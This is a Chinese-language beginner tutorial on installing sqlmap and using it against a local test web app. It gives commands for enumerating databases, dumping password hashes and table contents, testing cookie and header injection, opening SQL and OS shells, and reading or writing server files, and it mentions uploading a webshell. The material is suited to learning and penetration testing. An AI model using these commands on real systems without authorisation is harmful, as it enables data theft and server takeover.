Sqlmap的安装与简单使用

一、概述

1.1 简介

sqlmap是一款开源的自动化渗透测试工具,可以扫描、发现并利用给定URL的SQL注入漏洞,检测动态页面中的get/post参数,cookie,http头,查看数据库数据,还可以访问文件系统,甚至能够执行操作系统命令。因为sqlmap由python语言编写而成,所以使用时,需要在python环境中运行。

1.2 功能点

(1)支持的数据库管理系统包括:MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server、Microsoft Access 、IBM DB2, SQ Lite 、Firebird 、Sybase和SAPMaxDB。
(2)支持检测方式包括:布尔盲注、时间盲注、报错注入、UNION联合查询注入、堆叠注入。
(3)在数据库证书、IP地址、端口和数据库名等条件允许的情况下,支持不通过SQL注入点而直接连接数据库。
(4)支持枚举用户、密码、权限、角色、数据库、数据表和列。
(5)支持自动识别密码哈希格式并通过字典破解密码哈希。
(6)支持完全地下载某个数据库中的某个表,也可以只下载某个表中的某几列,甚至只下载某一列中的部分数据,这完全取决于用户的选择。
(7)当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持下载或上传文件。
(8)当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持执行任意命令并回现标准输出。

二、环境安装

2.1 Python安装

2.1.1环境要求

当前使用版本:Python2.7
Python下载地址:https://www.python.org/downloads/

2.1.2安装过程

(1)安装过程指定自己想要安装的路径,点击next,将“Add python.exe to Path”项勾选,勾选后安装完成不再需要单独添加环境变量,默认是“去勾选”的;安装成功后选择将python This feature will be installed on local hard drive。

(2)因为测试环境的需要 可能会有一台电脑安装多种不同版本的python的情况,所以不直接用cmd去验证。要验证当前python安装是否成功进入python 2.7.11安装的路径下打开命令行窗口,输入“python”,显示当前python版本号,即代表安装成功。

2.2 sqlmap安装

(1)在sqlmap官网http://sqlmap.org/下载最新版本的sqlmap安装包。如下图所示:

(2)将下载下来的安装包解压到自己想存放的目录并将解压,重命名为sqlmapproject,验证sqlmap是否安装完成,可进行如下操作进行验证

(3)打开cmd窗口,进入到python2.7.1的安装目录(这里如果配置了python环境变量,则不需要进入到此目录):将当前的文件直接拉到 cmd上面来运行,直接运行下面的程序,并将当前的 sqlmap.py 的程序拉过来运行,可以看到当前的版本。

2.3 windows 方便使用的方法

(1)将解压的sqlmapproject文件拷贝到所安装的python的对应路径”C:\Python27″ 目录下

(2)然后在桌面新建立一个cmd的快捷方式,并命名为sqlmap。

(3)在新建快捷方式上右键“属性”,将“起始位置”修改为 C:\Python27\sqlmapproject ,然后确定即可。

(4)双击打开当前的快捷方式,输入sqlmap.py -h,可以看到一些常用的命令。

三、使用

3.1 初级用法

除了特别说明用post请求,以下所有用法示例均用get请求进行检测。

3.1.1常用命令及参数

-u “url” #检测注入点
–dbs #列出所有数据库的名称
–current-db #列出当前数据库的名称
-D #指定一个数据库
–table #列出所有表名
-T #指定表名
–columns #列出所有字段名
-C #指定字段
–dump #列出字段内容

3.1.2检测注入点

(1)对于不用登录的网站,直接在”-u”之后指定其URL,然后按回车键

sqlmap.py -u http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=2

(2)之后,我们可以看到扫到数据库类型为mysql数据库(输入y继续)

(3)接着,会扫描出id部分存在联合查询注入

(4)扫描完成后,sqlmap给出了一些验证漏洞的payload信息

(5)以下是扫描结果

3.1.3 检测防注入接口

如今我们的系统一般都会做防sql注入的处理,下面检测防sql注入接口,看将会发生什么。

(1)检测防sql注入接口

(2)可以看到,我们系统存在防SQL注入,sqlmap注入失败

3.1.4 查看数据库信息

(1)查询所有的数据库账号(–users)

sqlmap.py -u http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=1
–users

(2)查看数据库所有用户名的密码(–passwords)

sqlmap.py -u http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=1
–passwords

(3)查看数据库当前用户(–current-user)

sqlmap.py -u http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=1
–current-user

(4)判断当前用户是否有管理权限(–is-dba)

sqlmap.py -u http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=1
–is-dba

(5)列出数据库管理员角色(–roles)

sqlmap.py -u http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=1
–roles

(6)查看所有的数据库(–dbs)

sqlmap.py -u http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=1
–dbs

(7)查看当前的数据库(–current-db)

sqlmap.py -u http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=1
–current-db

(8)爆出指定数据库(dbtest)中的所有的表(-D dbtest –tables)

sqlmap.py -u http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=1 -D
dbtest –tables

(9)爆出指定数据库(dbtest)指定表(user)中的所有的列(-D dbtest -T user –columns)

sqlmap.py -u http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=1 -D
dbtest -T user –columns

(10)爆出指定数据库(dbtest)指定表(user)指定列(username)下的数据(-D dbtest -T user -C username –dump)

sqlmap.py -u http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=1 -D
dbtest -T user -C username –dump

3.2 高级用法

3.2.1 检测post参数(—data)

sqlmap.py -u http://127.0.0.1:8089/photoReview2/sqlmap/postbyid
–data=“id=1”

3.2.2 探测等级和危险等级(—level —risk)

(1)Sqlmap一共有5个探测等级,默认是1。等级越高,说明探测时使用的payload也越多。其中5级的payload最多,会自动破解出cookie、XFF等头部注入。当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试。在不确定哪个参数为注入点时,为了保证准确性,建议设置level为5。
(2)sqlmap一共有3个危险等级,也就是说你认为这个网站存在几级的危险等级。和探测等级一个意思,在不确定的情况下,建议设置为3级。
(3)如下,设置探测等级5,平台危险等级3,都是最高级别,进行扫描

sqlmap.py -u http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=1
–level=5 –risk=3

3.2.3 检测Cookie注入(–cookie)

我们可以用账号密码登录,然后用抓包工具抓取其cookie填入

sqlmap.py -u http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=1
–cookie=“testcookie”

3.2.4 检测Http Referer头部注入(–referer)

sqlmap.py -u “http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=1”
–referer http://www.baidu.com

3.2.5执行指定的SQL语句(—sql-shell)

(1)输入

sqlmap.py -u http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=1
–sql-shell

(2)再输入

select * from user;

3.2.6 执行操作系统命令(—os-shell)

(1)在数据库为MySQL、PostgreSql或者SQL Server时,可以通过sqlmap执行操作系统命令。
(2)当为MySQL数据库时,需满足两个条件:当前用户为 root;知道网站根目录的绝对路径。

sqlmap.py -u http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=1
–os-shell

(3)接下来让我们选择系统的脚本语言

(4)接下来让我们判断网站可写目录的方法

(5)执行os-shell的过程中,sqlmap会向网站根目录写入两个文件。如果是非正常退出sqlmap的话,这两个文件不会被删除。只有当我们输入 x 或 q 退出 sqlmap 时,该文件才会被自动删除。

3.2.7读取服务器文件(—file-read)

(1)当数据库为MySQL、PostgreSQL或SQL Server,并且当前用户有权限时,可以读取指定文件,可以是文本文件或者二进制文件。
(2)例如我们要读取目标服务器C盘的test.txt文件:

sqlmap.py -u http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=1
–file-read C:\test.txt

因为当前用户无权限,无法读取。

3.2.8上传文件到数据库服务器中(—file-write —file-dest)

(1)当数据库为MySQL、Postgre SQL或者Sql Server(通过powershell写入),并且当前用户有权限向任意目录写文件的时候,可以上传文件到数据库服务器。文件可以是文本,也可以是二进制文件。
(2)所以利用上传文件,我们可以上传一句话木马或者上传shell上去。前提是我们知道目标服务器的绝对路径。

sqlmap.py -u
http://127.0.0.1:8089/photoReview2/sqlmap/getbyid?id=1–file-write
C:\test1.txt –file-dest C:\test2.txt

因为当前用户无权限,无法上传。

四、结语

以上仅是Sqlmap的一些常用简单命令使用示例,主要以入门知识为主,帮助零基础的伙伴了解一些Sqlmap的简单操作,比如:使用该工具来判断目标网站是否存在sql注入、查询获取数据库的库名表名字段名以及字段内容等信息,其他更详细的用法,可详见Sqlmap的帮助手册。

文章出处登录后可见!

已经登录?立即刷新

共计人评分,平均

到目前为止还没有投票!成为第一位评论此文章。

(0)
社会演员多的头像社会演员多普通用户
上一篇 2023年9月1日
下一篇 2023年9月1日

相关推荐